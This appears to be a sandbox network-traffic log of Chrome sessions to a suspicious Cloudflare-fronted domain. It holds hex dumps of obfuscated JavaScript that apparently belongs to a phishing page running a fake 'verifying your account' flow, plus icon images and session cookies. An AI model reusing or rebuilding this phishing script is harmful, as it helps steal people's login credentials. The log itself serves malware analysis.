2024-05-22 18:02:12 UTC	658	IN	HTTP/1.1 200 OK Date: Wed, 22 May 2024 18:02:12 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="56P6RmVW07q5q2IzmAMROCmNGghm8kh7E6A89106" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BWm9H9ecBn87gy2psH3DWVL0EC4O3CcI%2F9jfNVbXUYzZMFC5xBnkdoiQgBKu1N8U%2BlL8%2Fhmt8rC%2BctHG9PE1furflKqdkTvSbRyS2q%2Fn7pCkTi2%2FdtHruw4iq6SxKw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 887eb737584743c7-EWR
2024-05-22 18:02:12 UTC	711	IN	Data Raw: 33 37 61 31 0d 0a 63 6f 6e 73 74 20 5f 30 78 31 34 36 31 36 32 3d 5f 30 78 34 38 37 63 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 30 78 34 64 62 36 39 30 2c 5f 30 78 62 66 33 33 35 66 29 7b 63 6f 6e 73 74 20 5f 30 78 33 32 33 31 36 65 3d 5f 30 78 34 38 37 63 2c 5f 30 78 33 31 37 66 32 61 3d 5f 30 78 34 64 62 36 39 30 28 29 3b 77 68 69 6c 65 28 21 21 5b 5d 29 7b 74 72 79 7b 63 6f 6e 73 74 20 5f 30 78 33 39 32 31 32 66 3d 70 61 72 73 65 49 6e 74 28 5f 30 78 33 32 33 31 36 65 28 30 78 31 34 65 29 29 2f 30 78 31 2a 28 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 33 32 33 31 36 65 28 30 78 31 66 30 29 29 2f 30 78 32 29 2b 70 61 72 73 65 49 6e 74 28 5f 30 78 33 32 33 31 36 65 28 30 78 61 35 29 29 2f 30 78 33 2b 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 33 32 33 31 36 65 28 30 Data Ascii: 37a1const _0x146162=_0x487c;(function(_0x4db690,_0xbf335f){const _0x32316e=_0x487c,_0x317f2a=_0x4db690();while(!![]){try{const _0x39212f=parseInt(_0x32316e(0x14e))/0x1*(-parseInt(_0x32316e(0x1f0))/0x2)+parseInt(_0x32316e(0xa5))/0x3+-parseInt(_0x32316e(0
2024-05-22 18:02:12 UTC	1369	IN	Data Raw: 31 34 36 31 36 32 28 30 78 31 39 65 29 5d 28 5f 30 78 31 34 36 31 36 32 28 30 78 31 32 37 29 29 26 26 28 76 69 65 77 3d 5f 30 78 31 34 36 31 36 32 28 30 78 62 39 29 29 3b 64 6f 63 75 6d 65 6e 74 5b 27 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 27 5d 28 5f 30 78 31 34 36 31 36 32 28 30 78 32 30 38 29 29 26 26 21 64 6f 63 75 6d 65 6e 74 5b 5f 30 78 31 34 36 31 36 32 28 30 78 62 62 29 5d 28 5f 30 78 31 34 36 31 36 32 28 30 78 32 30 38 29 29 5b 5f 30 78 31 34 36 31 36 32 28 30 78 62 32 29 5d 5b 5f 30 78 31 34 36 31 36 32 28 30 78 31 39 65 29 5d 28 5f 30 78 31 34 36 31 36 32 28 30 78 31 32 37 29 29 26 26 28 76 69 65 77 3d 5f 30 78 31 34 36 31 36 32 28 30 78 63 32 29 29 3b 64 6f 63 75 6d 65 6e 74 5b 5f 30 78 31 34 36 31 36 32 28 30 78 31 32 65 29 5d 28 27 6b 65 Data Ascii: 146162(0x19e)](_0x146162(0x127))&&(view=_0x146162(0xb9));document['getElementById'](_0x146162(0x208))&&!document[_0x146162(0xbb)](_0x146162(0x208))[_0x146162(0xb2)][_0x146162(0x19e)](_0x146162(0x127))&&(view=_0x146162(0xc2));document[_0x146162(0x12e)]('ke
2024-05-22 18:02:12 UTC	1369	IN	Data Raw: 61 6e 69 6d 61 74 69 6f 6e 28 5f 30 78 34 66 38 34 32 65 29 7b 63 6f 6e 73 74 20 5f 30 78 35 32 35 32 36 66 3d 5f 30 78 31 34 36 31 36 32 3b 5f 30 78 34 66 38 34 32 65 3d 3d 30 78 30 26 26 28 64 6f 63 75 6d 65 6e 74 5b 5f 30 78 35 32 35 32 36 66 28 30 78 62 62 29 5d 28 5f 30 78 35 32 35 32 36 66 28 30 78 31 35 62 29 2b 76 69 65 77 29 5b 27 71 75 65 72 79 53 65 6c 65 63 74 6f 72 27 5d 28 5f 30 78 35 32 35 32 36 66 28 30 78 31 64 65 29 29 5b 5f 30 78 35 32 35 32 36 66 28 30 78 62 32 29 5d 5b 5f 30 78 35 32 35 32 36 66 28 30 78 31 65 39 29 5d 28 5f 30 78 35 32 35 32 36 66 28 30 78 31 33 39 29 29 2c 64 6f 63 75 6d 65 6e 74 5b 27 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 27 5d 28 5f 30 78 35 32 35 32 36 66 28 30 78 31 35 62 29 2b 76 69 65 77 29 5b 5f 30 78 35 Data Ascii: animation(_0x4f842e){const _0x52526f=_0x146162;_0x4f842e==0x0&&(document[_0x52526f(0xbb)](_0x52526f(0x15b)+view)['querySelector'](_0x52526f(0x1de))[_0x52526f(0xb2)][_0x52526f(0x1e9)](_0x52526f(0x139)),document['getElementById'](_0x52526f(0x15b)+view)[_0x5
2024-05-22 18:02:12 UTC	1369	IN	Data Raw: 5b 27 61 6e 69 6d 61 74 69 6f 6e 27 5d 3d 5f 30 78 31 62 36 31 63 30 28 30 78 31 66 34 29 2b 5f 30 78 33 34 35 34 35 38 2b 5f 30 78 31 62 36 31 63 30 28 30 78 31 64 32 29 29 3b 7d 66 75 6e 63 74 69 6f 6e 20 63 68 61 6e 67 65 62 61 63 6b 62 75 74 74 6f 6e 28 5f 30 78 32 64 35 36 63 34 2c 5f 30 78 32 35 65 64 37 66 29 7b 63 6f 6e 73 74 20 5f 30 78 33 35 38 33 35 63 3d 5f 30 78 31 34 36 31 36 32 3b 5f 30 78 32 35 65 64 37 66 3d 3d 30 78 30 26 26 28 64 6f 63 75 6d 65 6e 74 5b 5f 30 78 33 35 38 33 35 63 28 30 78 62 62 29 5d 28 5f 30 78 33 35 38 33 35 63 28 30 78 31 35 62 29 2b 5f 30 78 32 64 35 36 63 34 29 5b 5f 30 78 33 35 38 33 35 63 28 30 78 31 32 34 29 5d 28 27 2e 62 61 63 6b 27 29 5b 27 73 74 79 6c 65 27 5d 5b 27 64 69 73 70 6c 61 79 27 5d 3d 5f 30 78 33 Data Ascii: ['animation']=_0x1b61c0(0x1f4)+_0x345458+_0x1b61c0(0x1d2));}function changebackbutton(_0x2d56c4,_0x25ed7f){const _0x35835c=_0x146162;_0x25ed7f==0x0&&(document[_0x35835c(0xbb)](_0x35835c(0x15b)+_0x2d56c4)[_0x35835c(0x124)]('.back')['style']['display']=_0x3
2024-05-22 18:02:12 UTC	1369	IN	Data Raw: 32 30 30 29 5d 28 5f 30 78 32 38 39 32 36 39 28 30 78 31 32 37 29 29 2c 64 6f 63 75 6d 65 6e 74 5b 5f 30 78 32 38 39 32 36 39 28 30 78 31 64 63 29 5d 5b 27 73 74 79 6c 65 27 5d 5b 5f 30 78 32 38 39 32 36 39 28 30 78 64 37 29 5d 26 26 28 64 6f 63 75 6d 65 6e 74 5b 27 62 6f 64 79 27 5d 5b 27 73 74 79 6c 65 27 5d 5b 5f 30 78 32 38 39 32 36 39 28 30 78 64 37 29 5d 3d 27 27 29 2c 64 6f 63 75 6d 65 6e 74 5b 5f 30 78 32 38 39 32 36 39 28 30 78 31 64 63 29 5d 5b 5f 30 78 32 38 39 32 36 39 28 30 78 65 65 29 5d 5b 27 62 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 27 5d 26 26 28 64 6f 63 75 6d 65 6e 74 5b 5f 30 78 32 38 39 32 36 39 28 30 78 31 64 63 29 5d 5b 5f 30 78 32 38 39 32 36 39 28 30 78 65 65 29 5d 5b 27 62 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 27 5d 3d 27 Data Ascii: 200)](_0x289269(0x127)),document[_0x289269(0x1dc)]['style'][_0x289269(0xd7)]&&(document['body']['style'][_0x289269(0xd7)]=''),document[_0x289269(0x1dc)][_0x289269(0xee)]['backgroundColor']&&(document[_0x289269(0x1dc)][_0x289269(0xee)]['backgroundColor']='
2024-05-22 18:02:12 UTC	1369	IN	Data Raw: 72 72 6f 72 27 29 7b 64 6f 63 75 6d 65 6e 74 5b 27 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 27 5d 28 5f 30 78 65 31 36 64 31 30 28 30 78 31 31 33 29 29 5b 5f 30 78 65 31 36 64 31 30 28 30 78 31 32 34 29 5d 28 27 2e 74 69 74 6c 65 27 29 5b 27 74 65 78 74 43 6f 6e 74 65 6e 74 27 5d 3d 5f 30 78 33 62 34 65 35 63 5b 5f 30 78 65 31 36 64 31 30 28 30 78 31 65 66 29 5d 3b 76 61 72 20 5f 30 78 34 33 66 66 32 64 3d 5f 30 78 33 62 34 65 35 63 5b 5f 30 78 65 31 36 64 31 30 28 30 78 31 65 36 29 5d 3b 64 6f 63 75 6d 65 6e 74 5b 27 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 27 5d 28 5f 30 78 65 31 36 64 31 30 28 30 78 64 62 29 29 5b 5f 30 78 65 31 36 64 31 30 28 30 78 31 30 30 29 5d 3d 27 3c 73 70 61 6e 3e 27 2b 5f 30 78 34 33 66 66 32 64 5b 5f 30 78 65 31 36 64 31 30 Data Ascii: rror'){document['getElementById'](_0xe16d10(0x113))[_0xe16d10(0x124)]('.title')['textContent']=_0x3b4e5c[_0xe16d10(0x1ef)];var _0x43ff2d=_0x3b4e5c[_0xe16d10(0x1e6)];document['getElementById'](_0xe16d10(0xdb))[_0xe16d10(0x100)]='<span>'+_0x43ff2d[_0xe16d10
2024-05-22 18:02:12 UTC	1369	IN	Data Raw: 73 65 6e 64 41 6e 64 52 65 63 65 69 76 65 28 27 77 61 69 74 61 75 74 68 27 2c 5b 5f 30 78 32 38 39 32 36 39 28 30 78 31 39 30 29 5d 2c 30 78 31 29 5b 5f 30 78 32 38 39 32 36 39 28 30 78 64 34 29 5d 28 5f 30 78 31 37 30 39 37 37 3d 3e 7b 63 6f 6e 73 74 20 5f 30 78 64 39 35 61 62 30 3d 5f 30 78 32 38 39 32 36 39 3b 5f 30 78 31 37 30 39 37 37 26 26 28 5f 30 78 31 37 30 39 37 37 5b 5f 30 78 64 39 35 61 62 30 28 30 78 31 30 35 29 5d 3d 3d 27 6d 6f 72 65 5c 78 32 30 69 6e 66 6f 5c 78 32 30 72 65 71 75 69 72 65 64 27 26 26 6d 6f 72 65 69 6e 66 6f 72 65 71 28 29 2c 5f 30 78 31 37 30 39 37 37 5b 5f 30 78 64 39 35 61 62 30 28 30 78 31 30 35 29 5d 3d 3d 5f 30 78 64 39 35 61 62 30 28 30 78 31 32 64 29 26 26 28 64 6f 63 75 6d 65 6e 74 5b 5f 30 78 64 39 35 61 62 30 28 Data Ascii: sendAndReceive('waitauth',[_0x289269(0x190)],0x1)[_0x289269(0xd4)](_0x170977=>{const _0xd95ab0=_0x289269;_0x170977&&(_0x170977[_0xd95ab0(0x105)]=='more\x20info\x20required'&&moreinforeq(),_0x170977[_0xd95ab0(0x105)]==_0xd95ab0(0x12d)&&(document[_0xd95ab0(
2024-05-22 18:02:12 UTC	1369	IN	Data Raw: 5b 5f 30 78 31 37 63 36 39 35 5b 5f 30 78 34 66 66 34 66 38 28 30 78 31 66 61 29 5d 28 5f 30 78 34 66 66 34 66 38 28 30 78 31 61 38 29 29 5d 2c 30 78 31 29 5b 5f 30 78 34 66 66 34 66 38 28 30 78 64 34 29 5d 28 5f 30 78 31 66 38 66 32 63 3d 3e 7b 63 6f 6e 73 74 20 5f 30 78 31 33 61 65 31 65 3d 5f 30 78 34 66 66 34 66 38 3b 69 66 28 5f 30 78 31 66 38 66 32 63 29 7b 6c 6f 61 64 69 6e 67 61 6e 69 6d 61 74 69 6f 6e 28 30 78 31 29 3b 5f 30 78 31 66 38 66 32 63 5b 5f 30 78 31 33 61 65 31 65 28 30 78 31 30 35 29 5d 3d 3d 5f 30 78 31 33 61 65 31 65 28 30 78 62 31 29 26 26 28 64 6f 63 75 6d 65 6e 74 5b 5f 30 78 31 33 61 65 31 65 28 30 78 62 62 29 5d 28 5f 30 78 31 33 61 65 31 65 28 30 78 31 30 65 29 29 5b 5f 30 78 31 33 61 65 31 65 28 30 78 32 30 62 29 5d 3d 27 27 Data Ascii: [_0x17c695[_0x4ff4f8(0x1fa)](_0x4ff4f8(0x1a8))],0x1)[_0x4ff4f8(0xd4)](_0x1f8f2c=>{const _0x13ae1e=_0x4ff4f8;if(_0x1f8f2c){loadinganimation(0x1);_0x1f8f2c[_0x13ae1e(0x105)]==_0x13ae1e(0xb1)&&(document[_0x13ae1e(0xbb)](_0x13ae1e(0x10e))[_0x13ae1e(0x20b)]=''
2024-05-22 18:02:12 UTC	1369	IN	Data Raw: 31 33 61 65 31 65 28 30 78 61 64 29 29 2c 64 6f 63 75 6d 65 6e 74 5b 5f 30 78 31 33 61 65 31 65 28 30 78 62 62 29 5d 28 5f 30 78 31 33 61 65 31 65 28 30 78 64 62 29 29 5b 5f 30 78 31 33 61 65 31 65 28 30 78 31 30 30 29 5d 3d 27 3c 73 70 61 6e 3e 53 6f 72 72 79 2c 5c 78 32 30 77 65 5c 78 32 37 72 65 5c 78 32 30 68 61 76 69 6e 67 5c 78 32 30 74 72 6f 75 62 6c 65 5c 78 32 30 76 65 72 69 66 79 69 6e 67 5c 78 32 30 79 6f 75 72 5c 78 32 30 61 63 63 6f 75 6e 74 2e 5c 78 32 30 50 6c 65 61 73 65 5c 78 32 30 74 72 79 5c 78 32 30 61 67 61 69 6e 2e 3c 2f 73 70 61 6e 3e 3c 61 5c 78 32 30 69 64 3d 5c 78 32 32 56 69 65 77 44 65 74 61 69 6c 73 5c 78 32 32 5c 78 32 30 63 6c 61 73 73 3d 5c 78 32 32 6e 6f 2d 77 72 61 70 5c 78 32 32 5c 78 32 30 68 72 65 66 3d 5c 78 32 32 23 Data Ascii: 13ae1e(0xad)),document[_0x13ae1e(0xbb)](_0x13ae1e(0xdb))[_0x13ae1e(0x100)]='<span>Sorry,\x20we\x27re\x20having\x20trouble\x20verifying\x20your\x20account.\x20Please\x20try\x20again.</span><a\x20id=\x22ViewDetails\x22\x20class=\x22no-wrap\x22\x20href=\x22#
2024-05-22 18:02:12 UTC	1369	IN	Data Raw: 30 78 62 32 29 5d 5b 27 74 6f 67 67 6c 65 27 5d 28 5f 30 78 31 33 61 65 31 65 28 30 78 31 32 37 29 29 2c 64 6f 63 75 6d 65 6e 74 5b 5f 30 78 31 33 61 65 31 65 28 30 78 62 62 29 5d 28 5f 30 78 31 33 61 65 31 65 28 30 78 31 34 39 29 29 5b 5f 30 78 31 33 61 65 31 65 28 30 78 62 32 29 5d 5b 5f 30 78 31 33 61 65 31 65 28 30 78 32 30 30 29 5d 28 5f 30 78 31 33 61 65 31 65 28 30 78 31 32 37 29 29 2c 76 69 65 77 3d 5f 30 78 31 33 61 65 31 65 28 30 78 31 64 38 29 2c 73 65 6e 64 41 6e 64 52 65 63 65 69 76 65 28 5f 30 78 31 33 61 65 31 65 28 30 78 61 32 29 2c 5b 5f 30 78 31 33 61 65 31 65 28 30 78 39 65 29 5d 2c 30 78 31 29 5b 27 74 68 65 6e 27 5d 28 5f 30 78 35 62 38 39 64 38 3d 3e 7b 63 6f 6e 73 74 20 5f 30 78 35 37 63 61 66 32 3d 5f 30 78 31 33 61 65 31 65 3b 69 Data Ascii: 0xb2)]['toggle'](_0x13ae1e(0x127)),document[_0x13ae1e(0xbb)](_0x13ae1e(0x149))[_0x13ae1e(0xb2)][_0x13ae1e(0x200)](_0x13ae1e(0x127)),view=_0x13ae1e(0x1d8),sendAndReceive(_0x13ae1e(0xa2),[_0x13ae1e(0x9e)],0x1)['then'](_0x5b89d8=>{const _0x57caf2=_0x13ae1e;i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.17	59903	188.114.97.3	443	6920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 18:02:11 UTC	1442	OUT	GET /wxmjNuYi8NFj9axNCKeelVGasqrjFfWilIrHNE12129 HTTP/1.1 Host: l6agz47874.eleteriod.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://l6agz47874.eleteriod.com/GIUVBENOELELFZHVJGRJARAEcuklweeqftuggnrbfef?avdpyfnsaihevlyllklgbgppwzgvijsyuartpqu Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjQ5YldhWitWK2N4dUkvSmFlV2k1aFE9PSIsInZhbHVlIjoiT2JEQkl6dmUrMTJQWEc4T1NUTGFra3VCUkIxRmNqSUVwR3BXZmpXa3IzdTBGNHZQWXcyV2dkLzhkNlFVUVhIN3ZRekcrYWJVaGtkcGV6RTNoMWxvWlFWaVFGN254dGNJeGdaV2ZranFFalJGdVhIQVZmV01LcXBpU3pOYXlZZkciLCJtYWMiOiIzYzE5MmU0Y2NjOGUwMDNlYjFjNTljMjBkODIyZjhiZTFkYjM3NDZmN2RkMGVkOThlZDljMTU2MjU3NjQzY2E4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlIvY0dKQTVkSzFXY0JhVkZvWEc2SGc9PSIsInZhbHVlIjoiUEZDUDNKTlFxdnNPOEZhTDN2dnpGbnFhSXlNR2s1dE9OM21FMGY3MnlHUTdOOFNtMWZtek1xWUFmbUJqOW9FMlppZzlSeUZzUjNHS3ljNUwyTGV0bkYvNXRscVY5OU9hZ0o2U0MxSGZsRjBZaHh0aXY5NFAxTHN0WjZLYXNTTksiLCJtYWMiOiJhOGRjYmMwYmFiOGRlNjU5NTFlYzgzYmViZjQ5ODU0MzUyMDBhNzZjMmU0MGNlYjlmNzRjNTU1NGMwZGRjNTU2IiwidGFnIjoiIn0%3D
2024-05-22 18:02:13 UTC	631	IN	HTTP/1.1 200 OK Date: Wed, 22 May 2024 18:02:13 GMT Content-Type: image/png Content-Length: 231 Connection: close Content-Disposition: inline; filename="wxmjNuYi8NFj9axNCKeelVGasqrjFfWilIrHNE12129" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=91J0DfT2W1XQUhrKnQO8ppHSj7y6Efi0iK1aonDtJAX%2BkGcbx2cWvKjhQAyzy7fUgRqLatSjZ4i1jypsO7wmtjIK2tWSNus6avReqE1NDIFsVizyOorBcZ05KMA0Kw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 887eb7411bb643a9-EWR
2024-05-22 18:02:13 UTC	231	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 18 00 00 00 18 08 06 00 00 00 e0 77 3d f8 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 a1 49 44 41 54 48 4b ed 93 b1 0d 02 31 10 04 e7 5a a0 0c aa b8 12 a8 80 9c 2e 20 23 24 23 a5 94 2d e1 cb 20 24 24 33 b2 f4 48 1f 80 cf bc 71 80 78 a7 3e ed 78 c7 b6 d1 79 59 e7 7c 16 40 68 f8 8f 14 b9 fb 05 18 24 9d 42 2f 93 81 2a 45 63 f8 0a d8 4a ba 7d 15 d0 12 9e 0f 52 6c d0 1a 5e 04 8c e1 1b e0 0c dc 23 2d 92 0e af 66 de 36 70 f7 63 4a 69 67 66 b5 80 fd 47 80 3c 9c 21 c0 7a ce e5 3e 61 e1 2b 6a 85 84 80 d6 26 55 80 09 e4 da e5 a3 45 2f a8 b4 5f dd 60 2e 64 01 84 e6 7e 5f d1 03 bf ca 37 19 0c 18 34 60 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRw=sRGBIDATHK1Z. #$#- $$3Hqx>xyY\|@h$B/*EcJ}Rl^#-f6pcJigfG<!z>a+j&UE/_`.d~_74`IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.17	59906	188.114.96.3	443	6920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 18:02:11 UTC	1143	OUT	GET /ijzMs0cz14Ykf4YeICAFuTHWbFbbJHCA5mZLgEiNPVxzipqrcsEibC8DNKk2zdEbovEab228 HTTP/1.1 Host: l6agz47874.eleteriod.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjQ5YldhWitWK2N4dUkvSmFlV2k1aFE9PSIsInZhbHVlIjoiT2JEQkl6dmUrMTJQWEc4T1NUTGFra3VCUkIxRmNqSUVwR3BXZmpXa3IzdTBGNHZQWXcyV2dkLzhkNlFVUVhIN3ZRekcrYWJVaGtkcGV6RTNoMWxvWlFWaVFGN254dGNJeGdaV2ZranFFalJGdVhIQVZmV01LcXBpU3pOYXlZZkciLCJtYWMiOiIzYzE5MmU0Y2NjOGUwMDNlYjFjNTljMjBkODIyZjhiZTFkYjM3NDZmN2RkMGVkOThlZDljMTU2MjU3NjQzY2E4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlIvY0dKQTVkSzFXY0JhVkZvWEc2SGc9PSIsInZhbHVlIjoiUEZDUDNKTlFxdnNPOEZhTDN2dnpGbnFhSXlNR2s1dE9OM21FMGY3MnlHUTdOOFNtMWZtek1xWUFmbUJqOW9FMlppZzlSeUZzUjNHS3ljNUwyTGV0bkYvNXRscVY5OU9hZ0o2U0MxSGZsRjBZaHh0aXY5NFAxTHN0WjZLYXNTTksiLCJtYWMiOiJhOGRjYmMwYmFiOGRlNjU5NTFlYzgzYmViZjQ5ODU0MzUyMDBhNzZjMmU0MGNlYjlmNzRjNTU1NGMwZGRjNTU2IiwidGFnIjoiIn0%3D
2024-05-22 18:02:13 UTC	667	IN	HTTP/1.1 200 OK Date: Wed, 22 May 2024 18:02:13 GMT Content-Type: image/png Content-Length: 1400 Connection: close Content-Disposition: inline; filename="ijzMs0cz14Ykf4YeICAFuTHWbFbbJHCA5mZLgEiNPVxzipqrcsEibC8DNKk2zdEbovEab228" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ymhXZ%2BAnZBUbdy%2FKKNjLeZIKvesTcVmdbFtjFTtb8egTKRZq%2BKHpzPL96EyROTDuLRKEPzOlc3UM6v9w3oxAdSdzb9rj5H8aojyZOxIOS%2BzD4d1xFLyOMYHcjYYZbQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 887eb7416b7f72b9-EWR
2024-05-22 18:02:13 UTC	702	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 6c 00 00 00 18 08 06 00 00 00 1f d5 18 1a 00 00 05 3f 49 44 41 54 68 43 ed 58 bd 6e 13 41 10 be 4b d2 d0 20 87 b4 48 38 bc 00 c9 13 10 37 50 c6 ee 91 70 9e 00 e7 af 26 ae f3 83 f3 04 18 89 3e 97 92 34 98 27 c0 79 81 60 24 5a c0 d0 d0 24 31 df b7 9a 39 8d 97 3b bc 91 0c 77 91 7c d2 c9 f6 7a 76 76 76 be f9 8f 7f d6 1f 8e a2 b0 e7 db dd e4 62 e9 e5 59 f4 15 e4 f7 42 b6 b4 9f 44 71 08 dd 8c 26 5c 03 f1 0c b0 70 65 95 81 72 06 58 19 50 b8 81 0c 33 c0 6e a0 ac 7f 4d da 6a b5 aa f3 f3 f3 2b a3 d1 a8 72 7d 7d 9d 74 3a 9d a1 7f 66 61 80 6d 6d 6d 35 55 18 08 d9 df df df ef e7 29 64 77 77 77 e5 ea ea 6a 85 ff c7 71 3c 3c 3c 3c 4c f8 7d 67 67 67 0d 1f eb 97 97 97 ed ac cb fd 6b 05 4f 93 3f f4 d1 c2 dd 5e 82 67 Data Ascii: PNGIHDRl?IDAThCXnAK H87Pp&>4'y`$Z$19;w\|zvvvbYBDq&\perXP3nMj+r}}t:fammm5U)dwwwjq<<<<L}gggkO?^g
2024-05-22 18:02:13 UTC	698	IN	Data Raw: 18 cc 0f 49 f4 b4 74 ca e1 ef 65 7e 71 8a 26 e8 36 af 32 42 e0 7d c3 2a 56 ce 70 f2 9b 42 c9 f2 22 0d ef ca 27 c1 9e 4d 18 01 73 f0 73 91 99 b2 fa 1e 56 25 2d d6 3f 38 79 43 14 3f 6d 1a 1f b0 85 85 05 7a 09 15 9d 26 5d 5c 98 56 4e eb 73 1e 85 d0 f2 6a 12 60 c6 ea 19 02 6b 59 ad 82 05 0c fc 36 34 d4 59 10 ec ba 28 5f 65 61 5b e1 72 8c c8 1b 31 42 f8 e7 18 d9 1d bd 17 35 18 02 e9 c5 69 a1 75 a3 1c 16 bd fd 1e e6 61 51 f4 2b 7a b6 78 7f f4 2e fa 82 b3 82 3c 2c 7e 1a e6 61 cc 1d 10 7a 2c bc 49 85 54 87 62 da 50 ea 5e 08 60 ba 07 f2 8d 79 aa 35 38 0b 18 2c 7c 51 fb b7 bc 75 dd ab 2d 84 86 5f 95 97 ff fb 6d 85 31 1c e7 91 f6 7c 6b ac 6a 18 37 05 2c 78 f8 0b c0 96 00 58 f0 f0 17 80 65 7a b0 ef 61 04 8c 8d b4 58 de 00 8a 5c 45 98 24 80 15 2d f7 03 01 73 a0 ff ad Data Ascii: Ite~q&62B}*VpB"'MssV%-?8yC?mz&]\VNsj`kY64Y(_ea[r1B5iuaQ+zx.<,~az,ITbP^`y58,\|Qu-_m1\|kj7,xXezaX\E$-s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.17	59904	188.114.97.3	443	6920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 18:02:11 UTC	1444	OUT	GET /ophIsbkVflkPH6ucNNqWgQgh74rwHxeV0m3bqXIY45140 HTTP/1.1 Host: l6agz47874.eleteriod.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://l6agz47874.eleteriod.com/GIUVBENOELELFZHVJGRJARAEcuklweeqftuggnrbfef?avdpyfnsaihevlyllklgbgppwzgvijsyuartpqu Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjQ5YldhWitWK2N4dUkvSmFlV2k1aFE9PSIsInZhbHVlIjoiT2JEQkl6dmUrMTJQWEc4T1NUTGFra3VCUkIxRmNqSUVwR3BXZmpXa3IzdTBGNHZQWXcyV2dkLzhkNlFVUVhIN3ZRekcrYWJVaGtkcGV6RTNoMWxvWlFWaVFGN254dGNJeGdaV2ZranFFalJGdVhIQVZmV01LcXBpU3pOYXlZZkciLCJtYWMiOiIzYzE5MmU0Y2NjOGUwMDNlYjFjNTljMjBkODIyZjhiZTFkYjM3NDZmN2RkMGVkOThlZDljMTU2MjU3NjQzY2E4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlIvY0dKQTVkSzFXY0JhVkZvWEc2SGc9PSIsInZhbHVlIjoiUEZDUDNKTlFxdnNPOEZhTDN2dnpGbnFhSXlNR2s1dE9OM21FMGY3MnlHUTdOOFNtMWZtek1xWUFmbUJqOW9FMlppZzlSeUZzUjNHS3ljNUwyTGV0bkYvNXRscVY5OU9hZ0o2U0MxSGZsRjBZaHh0aXY5NFAxTHN0WjZLYXNTTksiLCJtYWMiOiJhOGRjYmMwYmFiOGRlNjU5NTFlYzgzYmViZjQ5ODU0MzUyMDBhNzZjMmU0MGNlYjlmNzRjNTU1NGMwZGRjNTU2IiwidGFnIjoiIn0%3D
